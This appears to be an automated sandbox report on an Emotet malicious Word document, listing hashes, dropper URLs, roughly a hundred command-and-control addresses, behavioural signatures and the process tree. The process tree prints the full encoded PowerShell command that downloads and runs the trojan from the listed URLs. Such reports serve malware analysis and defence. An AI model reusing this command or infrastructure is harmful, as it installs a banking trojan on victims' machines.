emotet | 1973d2f06ae252b0c09f5f6376f2ccff3a8149c4b660eed973baab1921e80dc7

General

Target
emotet_e2_1973d2f06ae252b0c09f5f6376f2ccff3a8149c4b660eed973baab1921e80dc7_2020-09-29__201504524738._doc.doc
Size 187KB
Sample200929-bwsrngqbdx
SHA256 1973d2f06ae252b0c09f5f6376f2ccff3a8149c4b660eed973baab1921e80dc7
MD5 3f05f351658449638018911f079ce3df
SHA1 214b7fd2ba110bef08461fc43be21855c0d1a135
SHA512 4f28c76509c132c76973604926f21df123429ac099ee352b65b74b0f0c2746bf8d5691c65793b267afd6151a443a3ad34ff59ab6f8e68ba1e0d4ada48a3930e1
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://techiweek.com/wp-includes/FW6/
exe.dropper
https://ravi-tools.com/js/1/
exe.dropper
https://providedigital.com/wp-admin/Igvi3l/
exe.dropper
https://nghiencauca.com/wp-includes/BOInu4E/
exe.dropper
http://jietuo66.com/hwqsv/oC/
exe.dropper
https://oklatu.com/wp-admin/i/
exe.dropper
https://blog.thejobstack.com/pmloibg/M/

Extracted

Family

emotet

C2

38.18.235.242:80
5.196.108.189:8080
121.124.124.40:7080
104.236.246.93:8080
113.61.66.94:80
120.150.60.189:80
91.211.88.52:7080
47.144.21.12:443
108.46.29.236:80
139.162.108.71:8080
134.209.36.254:8080
139.59.60.244:8080
66.65.136.14:80
76.175.162.101:80
174.106.122.139:80
95.213.236.64:8080
174.45.13.118:80
50.35.17.13:80
209.141.54.221:8080
87.106.139.101:8080
96.249.236.156:443
176.111.60.55:8080
85.96.199.93:80
87.106.136.232:8080
97.82.79.83:80
185.94.252.104:443
79.98.24.39:8080
142.112.10.95:20
5.196.74.210:8080
94.1.108.190:443
24.137.76.62:80
121.7.127.163:80
37.139.21.175:8080
213.196.135.145:80
83.169.36.251:8080
24.179.13.119:80
137.59.187.107:8080
181.169.34.190:80
139.130.242.43:80
42.200.107.142:80
140.186.212.146:80
74.208.45.104:8080
188.219.31.12:80
105.186.233.33:80
93.147.212.206:80
194.187.133.160:443
61.19.246.238:443
85.152.162.105:80
5.39.91.110:7080
71.72.196.159:80
24.43.99.75:80
139.162.60.124:8080
124.41.215.226:80
67.10.155.92:80
109.74.5.95:8080
78.187.156.31:80
195.7.12.8:80
187.49.206.134:80
123.176.25.234:80
157.245.99.39:8080
78.188.106.53:443
94.200.114.161:80
94.23.237.171:443
104.251.33.179:80
68.252.26.78:80
75.139.38.211:80
103.86.49.11:8080
62.75.141.82:80
172.104.97.173:8080
79.137.83.50:443
110.142.236.207:80
162.241.242.173:8080
78.24.219.147:8080
91.146.156.228:80
118.83.154.64:443
216.139.123.119:80
121.7.31.214:80
181.169.235.7:80
139.99.158.11:443
172.91.208.86:80
46.105.131.79:8080
104.131.11.150:443
110.145.77.103:80
82.80.155.43:80
168.235.67.138:7080
50.91.114.38:80
137.119.36.33:80
203.153.216.189:7080
37.187.72.193:8080
24.43.32.186:80
130.0.132.242:80
80.241.255.202:8080
220.245.198.194:80
190.240.194.77:443
89.216.122.92:80
1.221.254.82:80
104.131.44.150:8080
62.30.7.67:443

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2364	3324	POwersheLL.exe	72

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2156-18-0x0000000000650000-0x0000000000660000-memory.dmp	emotet
behavioral2/memory/2156-18-0x0000000000650000-0x0000000000660000-memory.dmp	emotet
behavioral2/memory/1256-24-0x0000000002100000-0x0000000002110000-memory.dmp	emotet
behavioral2/memory/1256-24-0x0000000002100000-0x0000000002110000-memory.dmp	emotet

Blacklisted process makes network request 3 IoCs

flow	pid	Process
14	2364	POwersheLL.exe
16	2364	POwersheLL.exe
18	2364	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2156	Xbuqklfzo.exe
1256	WMADMOD.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Windows.Globalization.Fontgroups\WMADMOD.exe	Xbuqklfzo.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3664	WINWORD.EXE
3664	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2364	POwersheLL.exe
2364	POwersheLL.exe
2364	POwersheLL.exe
1256	WMADMOD.exe
1256	WMADMOD.exe
1256	WMADMOD.exe
1256	WMADMOD.exe
1256	WMADMOD.exe
1256	WMADMOD.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2364	POwersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3664	WINWORD.EXE
3664	WINWORD.EXE
3664	WINWORD.EXE
3664	WINWORD.EXE
3664	WINWORD.EXE
3664	WINWORD.EXE
3664	WINWORD.EXE
3664	WINWORD.EXE
3664	WINWORD.EXE
2156	Xbuqklfzo.exe
2156	Xbuqklfzo.exe
1256	WMADMOD.exe
1256	WMADMOD.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2364 wrote to memory of 2156	2364	POwersheLL.exe	75
PID 2364 wrote to memory of 2156	2364	POwersheLL.exe	75
PID 2364 wrote to memory of 2156	2364	POwersheLL.exe	75
PID 2156 wrote to memory of 1256	2156	Xbuqklfzo.exe	79
PID 2156 wrote to memory of 1256	2156	Xbuqklfzo.exe	79
PID 2156 wrote to memory of 1256	2156	Xbuqklfzo.exe	79

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_1973d2f06ae252b0c09f5f6376f2ccff3a8149c4b660eed973baab1921e80dc7_2020-09-29__201504524738._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3664

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABSAHYAYgB1ADkAMABnAD0AKAAnAEoAJwArACgAJwByACcAKwAnADgAYQBkAHUAJwApACsAJwAzACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUATgBWADoAVQBTAEUAUgBQAFIAbwBmAEkAbABFAFwAZgAyAGMANAB4AHQAawBcAHkAcQBfAGkAYgB4AFAAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIARQBDAFQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAFUAUgBgAGkAdABZAGAAUAByAE8AVABPAGAAYwBgAE8AbAAiACAAPQAgACgAJwB0ACcAKwAnAGwAJwArACgAJwBzADEAMgAnACsAJwAsACAAJwApACsAKAAnAHQAbABzACcAKwAnADEAMQAsACAAJwArACcAdAAnACsAJwBsACcAKQArACcAcwAnACkAOwAkAEIAcwBtAHcAYgBiAHQAIAA9ACAAKAAnAFgAYgAnACsAKAAnAHUAJwArACcAcQBrACcAKQArACgAJwBsACcAKwAnAGYAegBvACcAKQApADsAJABCAGQAYQBvAGEAcABjAD0AKAAnAFkAJwArACcAcgAnACsAKAAnAF8AXwAnACsAJwBfAGoAdQAnACkAKQA7ACQARgB6ADIAXwB0AGEAdwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAFcAJwArACcAbwA1AEYAJwApACsAKAAnADIAYwAnACsAJwA0ACcAKwAnAHgAdABrACcAKQArACcAVwBvACcAKwAoACcANQBZAHEAXwAnACsAJwBpAGIAeAAnACkAKwAoACcAcABXAG8AJwArACcANQAnACkAKQAuACIAUgBlAGAAUABsAEEAQwBFACIAKAAoACcAVwAnACsAJwBvADUAJwApACwAJwBcACcAKQApACsAJABCAHMAbQB3AGIAYgB0ACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABMAGcAeABqAGcAbgB6AD0AKAAnAEoAYQAnACsAJwBjAF8AJwArACgAJwAyACcAKwAnAG4AcAAnACkAKQA7ACQASgA0AG4AagBpAHoAOQA9ACYAKAAnAG4AJwArACcAZQAnACsAJwB3AC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAATgBlAFQALgBXAEUAYgBDAGwASQBFAG4AdAA7ACQAWQBfAHQAMABzAHEAZwA9ACgAJwBoACcAKwAoACcAdAAnACsAJwB0AHAAOgAnACsAJwAvAC8AJwApACsAJwB0ACcAKwAoACcAZQBjACcAKwAnAGgAaQB3AGUAZQBrACcAKQArACgAJwAuAGMAJwArACcAbwBtACcAKwAnAC8AdwAnACkAKwAoACcAcAAtAGkAbgBjACcAKwAnAGwAdQBkACcAKQArACgAJwBlAHMALwBGAFcANgAnACsAJwAvACoAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAJwArACcAcwA6AC8AJwApACsAJwAvACcAKwAoACcAcgAnACsAJwBhAHYAJwApACsAKAAnAGkAJwArACcALQB0AG8AbwBsAHMAJwArACcALgAnACkAKwAnAGMAbwAnACsAKAAnAG0AJwArACcALwBqAHMALwAxACcAKQArACcALwAqACcAKwAnAGgAdAAnACsAKAAnAHQAcAAnACsAJwBzADoALwAvACcAKQArACgAJwBwAHIAbwAnACsAJwB2AGkAJwApACsAJwBkACcAKwAoACcAZQBkAGkAJwArACcAZwAnACkAKwAoACcAaQB0AGEAbAAuACcAKwAnAGMAJwApACsAJwBvACcAKwAoACcAbQAvACcAKwAnAHcAJwApACsAJwBwACcAKwAoACcALQBhAGQAbQBpACcAKwAnAG4AJwArACcALwBJAGcAdgBpACcAKwAnADMAJwArACcAbAAnACkAKwAoACcALwAqAGgAJwArACcAdAAnACkAKwAnAHQAcAAnACsAKAAnAHMAOgAnACsAJwAvACcAKQArACgAJwAvAG4AJwArACcAZwAnACkAKwAnAGgAaQAnACsAKAAnAGUAbgBjACcAKwAnAGEAdQBjAGEALgAnACsAJwBjAG8AJwApACsAJwBtACcAKwAoACcALwB3AHAALQBpAG4AJwArACcAYwAnACsAJwBsACcAKQArACgAJwB1AGQAJwArACcAZQAnACkAKwAnAHMALwAnACsAJwBCAE8AJwArACgAJwBJAG4AdQAnACsAJwA0AEUALwAqAGgAJwApACsAKAAnAHQAdABwACcAKwAnADoAJwApACsAJwAvACcAKwAnAC8AJwArACgAJwBqACcAKwAnAGkAJwArACcAZQB0AHUAbwA2ADYALgBjAG8AJwArACcAbQAvAGgAJwApACsAKAAnAHcAJwArACcAcQBzAHYALwBvACcAKQArACgAJwBDAC8AJwArACcAKgAnACkAKwAnAGgAJwArACcAdAAnACsAKAAnAHQAcABzACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBvAGsAbABhAHQAJwArACcAdQAnACkAKwAnAC4AYwAnACsAKAAnAG8AbQAvACcAKwAnAHcAJwApACsAJwBwACcAKwAoACcALQBhACcAKwAnAGQAbQBpAG4ALwAnACkAKwAoACcAaQAvACcAKwAnACoAJwApACsAKAAnAGgAdAB0ACcAKwAnAHAAcwA6AC8AJwArACcALwBiAGwAJwArACcAbwBnAC4AJwApACsAKAAnAHQAaABlAGoAbwBiAHMAdAAnACsAJwBhACcAKQArACcAYwAnACsAKAAnAGsALgAnACsAJwBjACcAKQArACgAJwBvACcAKwAnAG0ALwAnACkAKwAnAHAAJwArACgAJwBtAGwAJwArACcAbwBpACcAKQArACcAYgAnACsAKAAnAGcAJwArACcALwBNACcAKQArACcALwAnACkALgAiAHMAUABsAGAAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARABxADgAYwA4AF8AcgA9ACgAJwBZACcAKwAnADMAJwArACgAJwB4AGwAJwArACcAOAA4AGMAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABYAHAAMAAzAGcAbQBlACAAaQBuACAAJABZAF8AdAAwAHMAcQBnACkAewB0AHIAeQB7ACQASgA0AG4AagBpAHoAOQAuACIARABgAG8AYABXAG4ATABvAGAAQQBkAGYAaQBMAGUAIgAoACQAWABwADAAMwBnAG0AZQAsACAAJABGAHoAMgBfAHQAYQB3ACkAOwAkAFcAZgA3AF8AYwBmAG0APQAoACgAJwBLADgAYgAnACsAJwBfACcAKQArACcAbQAnACsAJwBkAHYAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAEYAegAyAF8AdABhAHcAKQAuACIATABlAGAATgBHAHQASAAiACAALQBnAGUAIAAzADEAMAAwADMAKQAgAHsALgAoACcASQAnACsAJwBuAHYAbwBrAGUALQAnACsAJwBJACcAKwAnAHQAZQBtACcAKQAoACQARgB6ADIAXwB0AGEAdwApADsAJABRADUAdABuAHIAaABxAD0AKAAnAEQAJwArACcAbQBvACcAKwAoACcAMgAnACsAJwBuAGgAcQAnACkAKQA7AGIAcgBlAGEAawA7ACQAVQBkAHYAcwBxAGwAYQA9ACgAJwBGAHkAJwArACgAJwBhACcAKwAnADAAcgAnACkAKwAnAGYANQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMAagBrAGMAdAA5AG8APQAoACcATAAnACsAKAAnAGoAOAA0ACcAKwAnADkAOQAnACsAJwBiACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2364
- C:\Users\Admin\F2c4xtk\Yq_ibxp\Xbuqklfzo.exe
  "C:\Users\Admin\F2c4xtk\Yq_ibxp\Xbuqklfzo.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2156
- - C:\Windows\SysWOW64\Windows.Globalization.Fontgroups\WMADMOD.exe
    "C:\Windows\SysWOW64\Windows.Globalization.Fontgroups\WMADMOD.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1256

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1256-24-0x0000000002100000-0x0000000002110000-memory.dmp

Download

memory/2156-18-0x0000000000650000-0x0000000000660000-memory.dmp

Download

memory/2364-9-0x00007FFEC1620000-0x00007FFEC200C000-memory.dmp

Download

memory/2364-10-0x0000025DCE8E0000-0x0000025DCE8E1000-memory.dmp

Download

memory/2364-11-0x0000025DCEAD0000-0x0000025DCEAD1000-memory.dmp

Download

memory/3664-0-0x00007FFEC8430000-0x00007FFEC8AF6000-memory.dmp

Download

memory/3664-4-0x00000271DFDDF000-0x00000271DFDF0000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads